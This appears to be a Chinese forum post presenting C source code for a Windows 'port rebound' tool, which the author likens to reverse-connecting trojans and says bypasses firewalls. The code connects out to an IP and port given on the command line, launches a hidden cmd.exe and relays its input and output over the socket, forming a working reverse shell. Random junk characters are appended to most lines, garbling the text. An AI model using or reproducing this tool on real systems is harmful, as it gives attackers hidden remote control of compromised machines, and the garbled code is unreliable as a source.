Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 HXY,e$c#y  
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/* ============================== ZBX,4kxK7  
Rebound port in Windows NT (Z
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By wind,2006/7 *pMu,?uE  
===============================*/ ESQgN+llj  
#include V_.n G;  
#include AR}q<k6E  
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#pragma comment(lib,"wsock32.lib") s1/:Ts[3i  
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void OutputShell(); _Vj uQ  
SOCKET sClient; Ait3KIJ9  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2wKW17wj,  
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void main(int argc,char **argv) 6L\?+=X  
{ 'c")]{  
WSADATA stWsaData; _h7qS  
int nRet; H7=[sL^  
SOCKADDR_IN stSaiClient,stSaiServer; p"lTZ7c:Y  
$: %U`46%s  
if(argc != 3) vi:IO  
{ Ev'BmDk  
printf("Useage:\n\rRebound DestIP DestPort\n"); ,cg%t9  
return; CG -^}xE:  
} dDeImSeV  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ie14`
'  
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stSaiClient.sin_family = AF_INET; K/OE;;<IA  
stSaiClient.sin_port = htons(0); P{{pp<tX*&  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); K}(0H[P  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _r6aLm2n  
{ 8&0+Az"{O  
printf("Bind Socket Failed!\n"); 9iWs'M  
return; k&kx%skz  
} uk\-"dS  
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stSaiServer.sin_family = AF_INET; 9sR?aW^$,/  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); mV58&SZT  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 9)Jc'd|  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ML|O2e  
{ [kjmEMF9i  
printf("Connect Error!"); SW^/\cJ^  
return; .@(+.G  
} @\_l%/z{  
OutputShell(); :mpR}.^hv  
} .^Z^L F  
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void OutputShell() v;r!rZX  
{ mnwYv..ePz  
char szBuff[1024]; 6N^sUc0s  
SECURITY_ATTRIBUTES stSecurityAttributes; >>'t7U##  
OSVERSIONINFO stOsversionInfo; $G_,$U!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HalkNR-eEm  
STARTUPINFO stStartupInfo; ?[|T"bE5[  
char *szShell; +
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PROCESS_INFORMATION stProcessInformation; qq)Dh'5*e,  
unsigned long lBytesRead; j|N8"8"  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); qBkI9H  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |6mDooTy  
stSecurityAttributes.lpSecurityDescriptor = 0; :YAxL J  
stSecurityAttributes.bInheritHandle = TRUE; KG5h$eM'  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); WrS|$: 0  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); quvdm68  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); kCq]#e~wq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &vy/Vd  
stStartupInfo.wShowWindow = SW_HIDE; )Apg  
stStartupInfo.hStdInput = hReadPipe; yLo{^4a.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [ NSsT>C  
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GetVersionEx(&stOsversionInfo); \U1fUrw$*  
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switch(stOsversionInfo.dwPlatformId) `?X=
@  
{ )AX0x1I|E  
case 1: PhS`,I^Z  
szShell = "command.com"; H|uvcvf
 
break; -RSPYQjz  
default: ]lKQwpX3  
szShell = "cmd.exe"; *TjolE~o  
break; T2nbU6H  
} 7H1 ii   
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); s?.A $^t  

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send(sClient,szMsg,77,0); RawK9K_1  
while(1) 1>doa1  
{ &r{.b#7\/A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *acN/
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if(lBytesRead) (Oc[j{6q  
{ 1lxsj{>U  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); tPT\uD#t  
send(sClient,szBuff,lBytesRead,0); GQNs:oRJ'  
} 6Q&*V7EO  
else y5XHJUTu  
{ =-ky%3:`@  
lBytesRead=recv(sClient,szBuff,1024,0); y11/:|  
if(lBytesRead<=0) break; 9Yh0' <Z  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); cR0RJ$[d  
} 
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} V7zF5=w  
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return; WhO;4-q)2  
}